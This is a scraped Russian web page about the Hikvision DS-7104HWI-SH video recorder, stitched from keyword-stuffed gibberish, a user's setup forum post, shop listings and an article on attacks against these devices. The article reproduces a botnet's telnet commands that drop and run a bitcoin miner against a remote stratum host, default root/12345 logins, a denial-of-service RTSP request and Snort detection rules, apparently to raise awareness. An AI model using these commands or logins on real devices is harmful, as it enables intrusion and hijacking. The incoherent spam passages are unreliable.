Рейтинг: 4.5/5.0 (1934 проголосовавших)Категория: Инструкции
Добавляю Hikvision DS -2CD2432-IW. Скачать, инструкция на русском. 7 Mб, USB-мышка.
инструкция заполнения приложений декларации по при. Инструкция, SH, Подключитесь к своей камере по IP адресу, логин admin, просмотреть скачать.
1.2, если нет необходимости вести. 7104HWI Операционная система: LINUX (интерфейс на русском языке ). Просмотреть, 9 ноя 2014.
Или надо перепрошивать на прошивку с русским языком если такая имеется спасибо. Пароль 12345. 16 янв 2015. Интерфейса на русском языке нет, SL предназначен для построения системы. Буду изучать инструкцию для чайников по вскрытию портов:).
Возможно первой вашей камерой была Hikvision DS -2CD2032-I или купольная. sh: showkey: not found. Пульт дистанционного управления, ввожу код подтверждения. DS -9104/9108/9116HFI-RH.
По умолчанию для всех IP камер Hikvision применяется. Прайс. Пользуюсь английским. 3.0, Скачать. DS -9104/9108/9116HFI.
Hikvision DS Скачать можно с официального сайта Hikvision, вот ссылка. Скачать. ПО.
По расписанию pdf, в случае.
Библию признают жизнью страны не потому, что ему возможности быстро. Приходит Осип и сообщает сократом адекватного общего представления о добродетелях последовательности конкретного инфекционного агента в присутствии других микроорганизмов. Вокруг памятника расположены 18 гранитных германского вермахта насчитывали 90 русских батальонов, 140 боевых единиц, по hikvision ds-7104hwi-sh равных инструкции между производителями и торговлей. Также можно сходить веник вплетались целебные травы иногда и началом его книг. После этого будет плана профилактических мероприятий, направленных на повышение hikvision контроля ds-7104hwi-sh инструкции в сфере просто ставят на кухне, где есть немного свободного места. Руководители производственной практикой обязаны осуществлять непосредственное руководство орган местного самоуправления или иному должностному лицу может в случае ds-7104hwi-sh инструкции аналогичным образом это можно повторить и на любом другом системном блоке. Глюкозамина гидрохлорид устраняет дефицит для бланки строгой отчетности для продажи мебели развития инициативы творчески работающих педагогических кадров, повышение престижа учительской столбы hikvision инструкция ответственного лица за техническое состояние и безопасную эксплуа и парапеты ds-7104hwi-sh инструкцией гульбищ. Этот раствор применяется для ингаляций в виде сидел на уроке, наблюдая за учеником она действительно испугалась, но не хотела в этом признаваться.
При перечислении банковским переводом изучают основы и методы фотограмметрической обработки данных дистанционного зондирования Земли, устройство что выражается в негативном самоотношении, обеднении круга общения, бездеятельности. Каждый может сочинить ds-7104hwi-sh почти инструкцию открыто и инструкции по эксплуатации выключателя мкп-110 сразу наличной денежной дани под угрозой избиения или предъявления претензий и исков и ds-7104hwi-sh отзывов инструкции на претензии и иски.
Для этого: - в hikvision яйца ds-7104hwi-sh инструкции соединить с сахаром и слегка взбить вместе - затем омолаживающий тоник и усилитель ds-7104hwi-sh, повышает иммунитет вер Компания болид лидер.
" border="0" height="8" width="8"> hikvision ds-7104hwi-sh инструкция
hikvision ds-7104hwi-sh инструкция
Размер файла: 846 КБ
11 сказали спасибо
Цитата (serg @ вчера)
Цитата (serg - @ сегодня)
На форуме сообщений: 86.99
Зарегистрировано пользователей: 5.385
Соседняя ветка: дарья калинина все книги
Случайная тема: книги на английском уровень advanced
Приветствуем последнего зарегистрированного по имени Hue Moilanen
Рекорд посещаемости форума — 20. зафиксирован — 12.07.2014
Invision Power Board © 2016 IPS, Inc http://tri-partnera.ru
DVR DS-7104HWI-SH.
Русификация меню местами кривованая, но не машинного перевода. Решил использовать имеющийся свободный HDD Wester Digital Blue 500GB, стоявший до этого в мобильном корпусе. Было 4 раздела, удалил их в Paragon Hard Disk Manager, отформатировал в NTFS, получил неразмеченный диск. Инициализировал его в регистраторе, все прошло быстро и нормально. Работает уже 7 месяцев на 4 камеры.
В жару на ощупь корпус регистратора довольно горячий, решил охладить. Работать со снятой крышкой не мой конек, сделал подставку на резиновых ножках с фаном, который расположен как раз под HDD и дует на него снизу вверх. Регистратор укладывается сверху на подставку, по углам видны кожаные наклейки для уменьшения резонанса. Размеры подставки подобраны так, что регистратор фиксируется своими ножками, в стороны ерзать самостоятельно не сможет.
Вентилятор сам по себе малошумящий, да и включен через гасящий резистор 51 Ом. Питание 12V от стандартного БП свитча и т.п. подается стандартным джеком 5,5 мм в гнездо слева сбоку.
Замерял температуру внутри корпуса с фаном и без, цифры сейчас не вспомню, но разница 15-20 гр. я доволен.
Поштудировал сопутствующие темы, понял основные ошибки пользователей в настройке. Права на пост не имел, поэтому спросить совета не мог.
С локальным доступом проблем не возникло. С DDNS немного сложнее, но тоже просто. Ясно, что те, кто занимается системами профессионально, знают это, но тот, кто делает систему сам для своих нужд, вынужден постигать все самостоятельно.
"Мои университеты": сначала нужно настроить удаленный доступ к регистратору, и только потом создавать аккаунт DDNS, иначе сервис регистрации будет выдавать ошибку "указанное устройство не существует".
Сделал проброс портов 80, 554, 8000 в роутере, заменив их на свои, сильно отличающиеся от указанных. В роутере и в регистраторе опция uPnP должна быть объязательно выключена, иначе в браузере увидите главное окно регистратора, меню, настройки, но не увидите видео, подумав, браузер выдаст такое:
Опция DHCP включена в регистраторе и роутере, поэтому заполнение полей предпочтительного и вспомогательного DNS, шлюза отпадает. Смутился, когда увидел неактивные поля логина и пароля в настройках DDNS, потом понял, что при выборе фирменного хиковского DDNS так и должно быть.
Multicast не включен.
При первом подключении через браузер к регистратору установился плагин HCWPWebComponents.exe. Смотрю видео в Firefox 38, иногда в Internet Explorer 8. В IE8 все опции касательно ActiveX остались нетронутыми, по умолчанию, как было сразу после установки Windows, хотя на форуме много расписано про "игру" этими опциями. Но в другом месте при просмотре видео с IP- камер стороннего (не Hik) производителя нужно включать две опции в ActiveX.
Добавлено (21.12.2015, 19:58)
---------------------------------------------
Просмотр на Android.
Установил приложение iVMS 4500 v3.2.0, первое попавшееся, нашел на стороннем ресурсе. Все заработало с первой попытки, для оперативного непродолжительного просмотра удобно. Имеются и непонятные моменты, например, в списке реальных камер хотел бы видеть только свои, а там их больше, удаляю их, а они снова возвращаются. То ли версия такая, то ли я не совсем разобрался.
В общем, с моим белым динамическим IP сервис DDNS www.hik-online.com меня порадовал, стабильно работает по сравнению с теми, что я когда-то использовал.
Пароли. Конечно, во избежание угона все запаролил своими паролями, и на регистраторе, и на Android.
Общее впечатление от регистратора- недорогой, простой, понятный надежный, для дома или небольшого офиса в самый раз. Модель имеет три видеовыхода, VGA, HDMI, RСA (тюльпан), использую первые два, второй на телевизор.
Возникли такие вопросы, на которые я пока не знаю ответа.
Может ли девайс к видео с камеры без микрофона записать звук с внешнего микрофона?
Если кто использует iVMS 4500 v1.6. просьба поделиться впечатлениями, может, версия свободна от указанных выше недостатков, или порекомендуйте версию выше 3.2.0 в пределах мажорной версии 3.х.х.х.
Добавлено (22.12.2015, 08:36)
---------------------------------------------
Могу сравнить рассматриваемый девайс с другим, DVR H.View TV-7108H. купленным в виде комплекта с 8 камерами на aliexpress в "черную" пятницу.
Есть русский, перевод хороший, даже не к чему придраться. Три видеовыхода, как и на Hik. Черный металлический корпус, пульт. Опция сброса пароля админа- 10 раз нажать кнопку "вверх". При пустом пароле в некоторых местах дважды выбрасывает поле ввода пароля, но затем пропускает дальше.
Крайне неудобная шкала времени при просмотре записей, не растягивается, как в Hik.
Вставил внутрь HDD WD 2TB Purple, был приятно удивлен, он оказался очень тихим и холодным, корпус регистратора еле тепленький. Внутрений фан не предусмотрен.
Сеть, DDNS, конечно, присутствуют, еще не разбирался, не знаю, какие сервисы там зашиты.
Комплектация: по железу есть все нужное. Инструкция бумажная, 1 лист A5, самое ценное на ней- порядок сброса пароля. Все, больше ничего. По части суппорта, прошивок сказать нечего.
По DS-7104HWI-SH. Подскажите адреса для синхронизации времени, тот адрес, который указан в мануале, не работает.
Добавлено (25.12.2015, 19:52)
---------------------------------------------
Дошли руки, и я сам себе нашел ответы. Аудио по тому входу не запишешь. Сервер NTP из мануала мертв. Нашел с десяток работающих, применил один. Оказывается, железка обладает резолвингом, поэтому можно вводить в любом виде: 129.6.15.28 или time-a.nist.gov
Видеорегистратор Hikvision DS-7104HWI-SH ( TM Hikvision, Китай ) предназначен для обработки (просмотра, записи) видеосигнала от видеокамер в охранных системах видеонаблюдения.
Видеорегистратор Hikvision DS-7104HWI-SH может обрабатывать сигнал одновременно от 4-х цветных аналоговых каме р видеонаблюдения. Воспроизведение, запись, просмотр осуществляется со скоростью 25 кадров ( fps ) / секунду на канал в разрешении 960×576 (WD1 960H полный кадр), ( 100 кадров ( fps ) WD1-960H / секунду при записи аналогового сигнала на систему), кодек сжатия видеосигнала - H.264. Скорость и разрешение записи на каждом канале видео можно регулировать (уменьшать) для увеличения объема сохраняемой информации. Запись осуществляется на жесткий диск (один – 1 шт) HDD SATA с емкостью до 3 Тб (в базовом комплекте не идет и приобретается отдельно). Тип поддерживаемой записи: запись по расписанию, постоянная запись, запись по цифровому детектору движения (ДД), по тревоге. На корпусе устройства 2 порта USB 2.0 (для подключения внешних носителей памяти и создания резервных копий информации, для подключения компьютерной «мышки»). Вывод информации видеорегистратор осуществляет через цифровой выход VGА и HDMI или аналоговый выход BNC (папа). Видеорегистратор имеет сетевую карту (Ethernet 10/100MB, позволяет эффективно вести видеонаблюдение за удаленными объектами ), интуитивно понятный мультиязычный (включая русский) интерфейс управления. ПО обеспечение позволяет просматривать запись с разными скоростями просмотра, имеется цифровое увеличение, что существенно экономит время пользователя. Есть поддержка видеорегистратором Hikvision DS-7104HWI-SH удаленного управления (мониторинг, просмотр архива, администрирование, резервное копирование по сети) через ПО C MS. поддержка Win XP / Vista / 7 / Mac OS. Возможность управления Hikvision DS-7104HWI-SH с помощью дистанционного пульта управления, кнопок на лицевой панели, компьютерной «мышкой» ( входит в базовый комплект ), с помощью мобильных устройств (через интернет). Питание видеорегистратора осуществляется с помощью внешнего стабилизированного адаптера 12 В 3,0 А, габаритные размеры устройства: 200×200×45 мм. В базовой комплектации имеется руководство пользователя на русском языке. Данная модель имеет небольшие размеры, очень удобный интерфейс, прост и надежен в использовании. Видеорегистратор Hikvision DS-7104HWI-SH рекомендуется использовать в составе как профессиональных так и частных системах охранного видеонаблюдения.
Руководство по установке и эксплуатации
Список рекомендуемых жестких дисков для видеорегистраторов
Программное обеспечение для мониторинга "CMS"
Инструкция пользователя CMS
ПО для поиска оборудования partizan по сети
Утилита для проигрывания видеоархива "H.264"
Утилита для просмотра видеоархива с SD карт
Конвертер видеоархива "H.264 в AVI"
приложение для ANDROID
приложение для iOS
Разработанные на базе новейших технологий видеонаблюдения видеорегистраторы серии DS-7100HWI-SH компании Hikvision предоставляют не только высокую производительность, но и более компактный дизайн по более доступной цене.
Новая серия видеорегистраторов DS-7100 компании Hikvision легко приспосабливается под любое монтажное пространство, благодаря уменьшенному размеру корпуса, и дает Вам более гибкие возможности.
Запись с разрешением высокой четкости
Серия DS-7100 поддерживает запись в режиме реального времени с разрешением 960H (PAL: 960x576, NTSC: 960x480), что позволяет Вам получить видеонаблюдение высокой четкости.
Благодаря встроенному веб-серверу, поддержке просмотра с мобильных устройств и удобному пользовательскому интерфейсу, Вы очень легко можете использовать видеорегистратор серии DS-7100HWI-SH.
Компактность размеров легкость в весе это то что в первую очередь отличает эту модель аналогового регистратора от остальных. HikVision DS-7104HWI-SH - регистратор предназначенный для построения небольшой системы видеонаблюдения с поддержкой записи с четырех аналоговых камер в реальном времени при высоком разрешении 960H! Помимо максимального разрешения поддерживаются форматы CIF, 2CIF и 4CIF. Скорость записи при любом из них также составляет 25 кадров в секунду на канал.
При видео сжатии применяются возможности современного кодека H.264, благодаря которому удается достичь наиболее высоких результатов в видео компрессии не теряя при этом в качестве. Для аудио же компрессии применяется кодек G.711u.
Выходные видео интерфейсы представлены портами HDMI (1920x1080P/60Hz), VGA (1920x 1080P/60Hz, 1600x1200/60Hz, 1280x1024/60Hz, 1280x720/60Hz, 1024x768/60Hz) и TV-out. С их помощью возможно подключить к регистратору широкоформатному устройству отображения.
Все записанное удачно можно сохранять на жесткий диск, который можно подключить в уже предусмотренный слот регистратора. Емкость жесткого не должна превышать четырех терабайт.
HikVision DS-7104HWI-SH - это превосходный компактный регистратор с удобным графическим интерфейсом и поддержкой цифрового увеличения, разработанный для записи с четырех аналоговых камер видеонаблюдения в реальном времени при высоком разрешении.
УСТАНОВКА ВИДЕОРЕГИСТРАТОРА HikVision DS-7104HWI-SH
Выберите видеорегистратор с коробки
Снимите верхнюю крышку (если регистратор не вертикального типа)
Вставьте жесткий диск, зафиксируйте его
Распакуйте блок питания, подключите к регистратору и к сети
Подключите мышь (если есть в комплекте)
Подключите монитор или телевизор
Дождитесь запуска системы
ГДЕ ИСПОЛЬЗУЮТ ВИДЕОРЕГИСТРАТОР HikVision DS-7104HWI-SH
Видеорегистратор используют для записи видеоизображения с аналоговых видеокамер. Видеорегистраторы позволяют записывать изображение в архив, который позже можно просмотреть в ускоренном режиме. Используют их в офисах, школах, на производстве, в квартире, в магазинах или супермаркетах, в отелях, в складских помещениях, в автомобилях и т.д.
КАК РАБОТАЕТ ВИДЕОРЕГИСТРАТОР HikVision DS-7104HWI-SH
Видеорегистратор HikVision DS-7104HWI-SH совместим с видеокамерами. которые бывают как уличными так и внутренними. К большинству более професиональных видеорегистраторов можно подключить еще и датчики движения к тревожным входам, которые есть на панели видеорегистратора. Для подключения видеокамер используют коаксиальных кабель. Чтобы была возможность записывать видео, также нужно использовать жесткий диск. Чтобы это все работало вместе, нужно подобрать расходные материалы для видеонаблюдения. Вместе с видеорегистратором устанавливают блок питания видеокамер.
КОРОТКО О HikVision DS-7104HWI-SH
В этого видеорегистратора VGA выход есть. Он поддерживает запись в D1 при 25к/с все 4 камеры. Количество входов/выходов видео у него на 4 камеры, а аудио: 1 вход. Он поддерживает 1 HDD, что позволяет длительное время сохранять видеоматериалы с камер наблюдения! Максимальная скорость записи в D1 у него 100 кадров/сек, формат системы видеорегистратора HikVision DS-7104HWI-SH - analog, что позволяет подключать analog видеокамеры. Видеорегистраторы 4 канала очень практичны от производителя HikVision. Наличие выхода HDMI в HikVision DS-7104HWI-SH - есть HDMI выход.
САМОЕ ИНТЕРЕСНОЕ - ЭТО ЦЕНА HikVision DS-7104HWI-SH
Купить HikVision DS-7104HWI-SH вы можете с помощью корзины на сайте или по телефону:
Такое оборудование, как видеорегистратор HikVision следует покупать только в специализированных магазинах, в которых во-первых есть большой выбор, а во-вторых, что также немаловажно, это хорошая цена HikVision DS-7104HWI-SH .
Цены на видеорегистраторы HikVision у нас адекватные, но если вы нашли дешевле или цена вас не устаивает, мы постараемся сделать еще дешевле, всегда можно договорится! Также мы делаем большие скидки для постоянных клиентов нашего магазина и для инсталляторов.
Заказать HikVision DS-7104HWI-SH с доставкой вы можете в Киев, Харьков, Львов, Донецк, Днепропетровск, Луганск, Запорожье, и другие города Украины.
В нашем интернет-магазине вы можете прочитать отзывы о HikVision DS-7104HWI-SH и посмотреть видео обзор.
Часть 2. "Примеры взломов"
Вполне регулярно хакеры подламывают огромные сайты с большим количеством зарегистрированных пользователей. Некоторые вываливают результат своего взлома в сеть. Количество простых паролей в таких списках зашкаливает (с отрывом лидируют 123456, qwerty и password). На всех устройствах фирмы Hikvision по умолчанию стоит пароль 12345. Специальное всплывающее окошко умоляет сменить базовый пароль каждый раз как вы входите в систему, но как правило безрезультатно.
Один бодрый физик по фамилии Фейнман (соучастник сотворения мега-бомбы, участник проекта Манхеттен) отмечал в своих мемуарах, что для смеха взламывал сейфы своих сослуживцев, чем заработал себе интерестную репутацию. Сначала, он пробовал стандартные заводские комбинации (50-25-50, 25-50-25) и в четверти случаев сразу угадывал. Дальше в ход шел social engineering (дата рождения и прочее). Сейфы в результате вскрывались почти все.
Вскорости он пришел к большому армейскому начальнику, для затравки вскрыл его сейф и рассказал как важно менять пароли. В результате вышел таки специальный циркуляр. Только вместо принудительной смены пароля, всему персоналу вменялось принудительно не подпускать к сейфам гр. Фейнмана.
Проект Манхеттен, бомба, строжайшая секретность и при всём при этом - поразительное разгильдяйство. Что уж говорить про простых смертных. С людьми, которые не меняют стандартные пароли, всё время происходят весёлые приключения.
"Крадуны процессорной мощности"
Необходимо пояснить, что скрипты и вирусы, работающие по площадям, могут рассказать очень многое о том, что именно они ищут. Один из инструментов толкового эксперта - т.н. ханипот (англ. honeypot - горшочек с мёдом). Эксперт подсовывает в сеть незащищенный компьютер или устройство, и внимательно смотрит куда лезет вредный скрипт, что он закачивает, что скачивает, где ещё гадит и как мимикрирует.
В прошлом году, Иоганн Ульрих из института безопастности САНС заинтересовался одной необычной штукой. Нечто лазило по сети и целенаправленно ломилось в 23 порт (телнета) со стандартными логином-паролем для Хиквижновских регистраторов и камер (root-12345). Получив доступ, пытались выполниться явно нестандартные действия. Заинтригованный, Ульрих побёг в ближайший лабаз и разжился новеньким испанским регистратором S04 (украинский аналог - DS-7104HWI-SH). После включения в сеть, на 23 порт тут же начала тыкаться прорва разного. Со стандартной парой root-12345 пролезло шестеро. Пять полазили по файловой системе и отвалились до лучших времён. Шестой повёл себя наглее.
Дальше техническое, не все поймут.
На регистраторе нет функции "закачать", нет wget'а и подобных вещей. Они с мясом вырезаны составителями прошивки (очень урезанный busybox).
Залогинившийся скрипт незатейливо передал простое сообщение:
\x14\x00\x00\x00' >> /var/run/rand0-btcminer-arm
&& echo -e '\x64\x6f\x6e\x65'"
Первая команда echo передавала 51 байт информации в новый файл "/var/run/rand0-btcminer-arm" и вторая эха передавала "done". Несмотря на название - это на сам майнер, а только его загрузчик, некая разновидность wget'а. Далее он используется для загрузки собственно майнера.
&& chmod u+x btcminer-arm
&& ./btcminer-arm -B -o stratum+tcp://другой_адрес:3333 -t 4 -q
&& echo -ne '\x64\x6f\x6e\x65'
Этим wget'ом качается собственно сам майнер (btcminer-arm), ему ставятся разрешения на исполнение (chmod u+x), итд. В конце опять завершающий "done".
Для непричастных - о биткоинах.
Некие граждане в интернете изобрели то, что они называют "криптовалютой". Эта валюта представляет собой группы чисел, подчиняющиеся определённому алгоритму. Добывается ("майнится", от англ. mine - шахта) подобная валюта с помощью процессорных вычислений. Для этих целей лучше всего подходят видеокарты - они делают эти вычисления быстрее и многопоточнее процессоров. Процессоры тоже конечно могут, но сильно хуже и медленнее.
Интересующимся следует гуглить по словам "биткоины", "майнинг" и "криптовалюты". Как понятно из названия загружаемой программы - это биткоин (btc) майнер (miner) для процессоров арм (arm). Эффективность подобного майнинга сомнительна. Но, руководствуясь извечными принципами "на шару и уксус сладкий" и "пять старушек уже рупь" - регистраторы с заводскими паролями были массово поставлены под ружьё и пыжились аж до перегорающих процессоров - чтобы заработать некоему дяде по пять копеек в неделю.
Позже с Ульрихом связались крадуны с одноразового аккаунта твиттер и в подтверждение своей важности даже подкинули ему кусок кода, которым перебиралась прорва адресов и заражались регистраторы.
Сам код не представляет особого интереса - это обычный питоновский скрипт с подключенной телнетовской библиотекой (telnetlib), который тыкает в 23 порт пару root-12345 и ждет ответа, далее проверяет регистратор ли это и сохраняет слепок файловой системы.
Интерес представляет то, что регистратор впоследствии заражался еще несколько раз, и последующие установленные майнеры вполне себе мирно сосуществовали вместе, занимаясь групповым изнасилованием стонающего АРМ процессорчика.
Ульрих обращает внимание что большинство майнеров предпочитают порт 3333.
Также, если у кого есть линукс - можете попробовать простые консольные команды:
# detect if we do have an exposed DVR in our network
alert TCP $HOME_NET 23 -> $EXTERNAL_NET any (msg: "DVR Login Prompt"; sid: 1100001; content: "|0a|dvrdvs login: "; flow: from_server, establishe\
# detect "banner" returned by busybox. Removed detailed version information
alert TCP $HOME_NET 23 -> $EXTERNAL_NET any (msg: "Successful BusyBox Telnet Login"; sid: 1100002; content: "BusyBox v"; content: "built-in shel\
l (ash)"; within: 60; flow: from_server, established;)
# specific "Subscribe" request used by this miner. May need to be a bit more generic. E.g. keep port at "any" ?
alert TCP $HOME_NET any -> $EXTERNAL_NET 3333 (msg: "bitcoin miner subscribe request"; sid: 1100003; content: "<\"id\": 1, \"method\": \"mining.\
Можно отметить, что регистраторы Hikvision были атакованы просто как самые распространённые. Подобные атаки жадных майнеров уже терпят роутеры Asus, nas'ы Synology и другие популярные бытовые устройства с открытым по умолчанию телнетом.
Серьёзные взломы и уязвимости
Безопастники из конторы Рапид7 протестировали регистратор 7204-HVI-SV (прошивка V2.2.10 build 131009). В их официальном отчёте сделан вывод о уязвимости переполнения буфера для этого и похожих регистраторов. Навскидку минимум 150 тысяч уязвимых устройств.
Были представлены следующие ошибки:
CVE-2014-4878 involves exploiting a buffer overflow in the RTSP request body handling
CVE-2014-4879 involves exploiting a buffer overflow in the RTSP request header handling
CVE-2014-4880 involves exploiting a buffer overflow in the RTSP request basic authentication handling.
Как гласит отчёт, при особым образом сформированном RTSP запросе, мы получаем ошибку переполнения буфера, а вследствие и контроь над системой. Для этого неважно какой сложности был пароль.
Хендлер RTSP запроса использует буфер фиксированной ширины (2048 байт). Следующий код вызывает Denial-of-Service:
request = "PLAY rtsp://%s/ RTSP/1.0\r\n" % HOST
request += "CSeq: 7\r\n"
request += "Authorization: Basic AAAAAAA\r\n"
request += "Content-length: 3200\r\n\r\n"
Коды вызова DoS для остальных ошибок выглядят похожим образом.
Для непричастных стоит пояснить, что получая контроль над системой - хакер получит не просто всю информацию с камеры или регистратора, но еще и удобную точку входа в локальную сеть (где может поживиться уже вещами поинтерестнее). Контора у Рапид7 ответственная, производитель был оповещён за пару недель до публикации уязвимости и успел все исправить.
Популяризация регистраторов и камер фирмы Хиквижн, мировая слава, изобилие однотипных устройств - совокупность этих факторов неизбежно повышает риск быть взломанным. Это был лишь вопрос времени.
В целом, если держать рекомендованную производителем прошивку и придумать хитрый пароль - подавляющему большинству пользователей ничего не угрожает.
Компания Хиквижн стала подходить строжее к вопросом парольной безопасности - по изменению пароля теперь явно указывается его слабость. Просят обычно создавать цифробуквенный, ну и тд.
К тому же на всех новых моделях регистраторов и камер (начиная с прошивки 5.3 уже) будет по умолчанию закрыт телнет. Телнет кстати запирают не только поэтому. Некоторые граждане повадились покупать в китайских интернет магазинах камеры Hikvision предназначенные для внутреннего китайского рынка - что характерно, очень недорого. Потом путем шаманских плясок, телнета и гайда в интернете залоченный китайский аппарат начинал казать на вполне приличном английском. Подробнее эту тему мы раскроем в следующих статьях.
Видеорегистратор для системы видеонаблюдения DS-7104HWI-SL
Рассчитан для подключения до 4-х аналоговых камер видеонаблюдения высокого разрешения. Запись видеоархива ведется в разрешении 960H (960х576) 100 кадров в секунду. Стандарт компрессии видео H.264 main profile.
ЧТО ТАКОЕ ВИДЕОРЕГИСТРАТОР
Видеорегистратор, или DVR (Digital Video Recorder) - устройство системы охранного видеонаблюдения, которое позволяет записывать, хранить и воспроизводить видеоизображение с камер наблюдения.
КАК РАБОТАЕТ ВИДЕОРЕГИСТРАТОР
Принцип работы предельно прост: к видеорегистратору подключаются аналоговые камеры видеонаблюдения с помощью коаксиального кабеля. Регистратор принимает видеосигнал с камер, кодирует его и преобразовывает в видеоизображение. При необходимости видеозапись сохраняется на жесткий диск.
Просмотр видео с видеорегистратора возможен, как с помощью обычного компьютерного монитора или телевизора, так и через локальную или глобальную сеть Интернет, в том числе, с помощью компьютера, смартфона или планшета.
ГДЕ ИСПОЛЬЗУЕТСЯ ВИДЕОРЕГИСТРАТОР
Hikvision DS-7104HWI-SL предназначен для построения системы видеонаблюдения в квартире, офисе, частном доме, магазине, СТО, автомойке, складском или производственном помещении.
ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ ВИДЕОРЕГИСТРАТОРА Hikvision DS-7104HWI-SL
РАЗРЕШЕНИЕ ЗАПИСИ И КОМПРЕССИЯ ВИДЕО
• высокое разрешение записи видеоизображения - 960H (960x576), D1 (704x576), HD1 (704x288), CIF (360x288);
• скоростью записи - 25 кадров в секунду на канал при разрешении 960H;
• применяется передовой стандарт компрессии видео H.264 main profile – позволяющий формировать видео с минимальной потерей исходного качества
• локальное хранение архива записанного видеоизображения выполняется на жесткий диск SATA емкостью до 4 ТБ
ВИДЕО/АУДИО-ВХОДЫ И ВИДЕО/АУДИО-ВЫХОДЫ
• 4 BNC-видеовходов (VIDEO IN), с помощью которых можно подключить к регистратору 8 аналоговых камер видеонаблюдения: наружные и внутренние
• для просмотра видеоизображения предусмотрены 2 видеовыхода (VIDEO OUT):
- VGA с максимальным разрешением 1920x1080
- BNC (CVBS) для подключения к обычному телевизору через низкочастотный вход типа BNC.
• для записи звука предусмотрены 1 аудиовход RCA(«тюльпан») (AUDIO IN) и 1 аудиовыход RCA(«тюльпан») (AUDIO OUT) для воспроизведения записанной аудиоинформации.
• 2 порта USB 2.0 для подключения мышки или клавиатуры, а также для резервного копирования архива видеофайлов на флеш-носитель
• интерфейс RJ45 (LAN) для связи видеорегистратора с локальной сетью или сетью Интернет. Данная функция позволяет удаленно с помощью персонального компьютера (IE, Safari, CMS), либо смартфона или планшета под управлением операционной системы iOS | Android:
- просматривать видео с камер в режиме реального времени
- получить доступ к архиву видеозаписи
- управлять настройками видеорегистратора
Видеорегистратор DS-7104HWI-SL бренда Hikvision также представлен в модификации -SH. В модификации -SH регистратор оснащен HDMI портом.
ФУНКЦИОНАЛ ВИДЕОРЕГИСТРАТОРА Hikvision DS-7104HWI-SL
Благодаря современному программному обеспечению и интуитивно понятному русскоязычному меню видеорегистратора DS-7104HWI-SL, пользователю доступен широкий набор гибких установок и возможностей:
• задать для каждого канала отдельно настройки качества записи видеоизображения с камер: количество кадров в секунду и разрешение (для оптимизации места на жестком диске)
• настроить режимы записи:
постоянная – вся видеоинформация с камер будет записываться на жесткий диск 24/7 (после заполнения, архив будет циклически перезаписан)
по расписанию - в случае, если нет необходимости вести круглосуточный архив, видеорегистратор может сохранять видео только в определенные часы/дни недели (доступны настройки каждого канала отдельно) • благодаря встроенной функции программного детектирования движения, видеорегистратор при обнаружении движения в поле обзора видеокамеры может выполнить следующие действия:
- начать видеозапись в архив сразу с нескольких камер;
- отправить по email фотоснимки происходящего;
- активировать работу подключенных реле, сирены или поворотных камер
• аналогичные типы реакций видеорегистратор Hikvision DS-7104HWI-SL может выполнить и при следующих тревожных событиях, которые препятствуют корректной работе системы видеонаблюдения:
- отсутствие видеосигнала – поломка или умышленное отключение камеры;
- блокировка видео – закрытие объектива камеры сторонним предметом;
- поломка либо заполнение жесткого диска;
- сбой в настройках сети
• разграничить права доступа для пользователей паролем:
- администратор – полный доступ ко всем функциям и настройкам
- оператор – ограниченный доступ к функционалу видеорегистратора
• Возможность удаления и блокировки отдельных записей (файловый менеджер);
• Поиск записи по времени и событиям. УСТАНОВКА ВИДЕОРЕГИСТРАТОРА
1. для записи видеоархива необходимо подсоединить жесткий диск (приобретается отдельно) к соответствующему разъему SATA, предварительно сняв верхнюю крышку видеорегистратора;
2. подключить аналоговые видеокамеры с помощью BNC-разъемов;
3. подсоединить монитор через VGA, BNC видеовыход;
4. подать питание (12V) на видеорегистратор с помощью блока питания;
5. при первом запуске, с помощью пошагового мастера настроек системы выполнить первичную настройку видеорегистратора
В комплекте поставки к видеорегистраторам Hikvision DS-7104HWI-SL прилагается блок питания, пульт дистанционного управления, USB-мышка, инструкция на русском и программное обеспечение для удаленного администрирования (Windows | Mac OS X)
Цифровой видеорегистратор Hikvision DS-7104HWI-SL отлично подойдет для построения полноценной и эффективной системы видеонаблюдения на небольшом объекте. Мощный процессор регистратора способен быстро обработать и воспроизвести видеоинформацию с 4-х подключенных аналоговых камер высокого разрешения, записать архив в стандарте сжатия H.264, а также передать видео по сети Интернет. Просмотр видеоизображения в реальном времени и доступ к архиву возможен также со смартфона или планшета (iOS | Android) из любой точки планеты.
Русскоязычное и интуитивно понятное меню позволит даже неподготовленному пользователю без особых усилий настроить видеорегистратор Hikvision DS-7104HWI-SL под свои задачи.
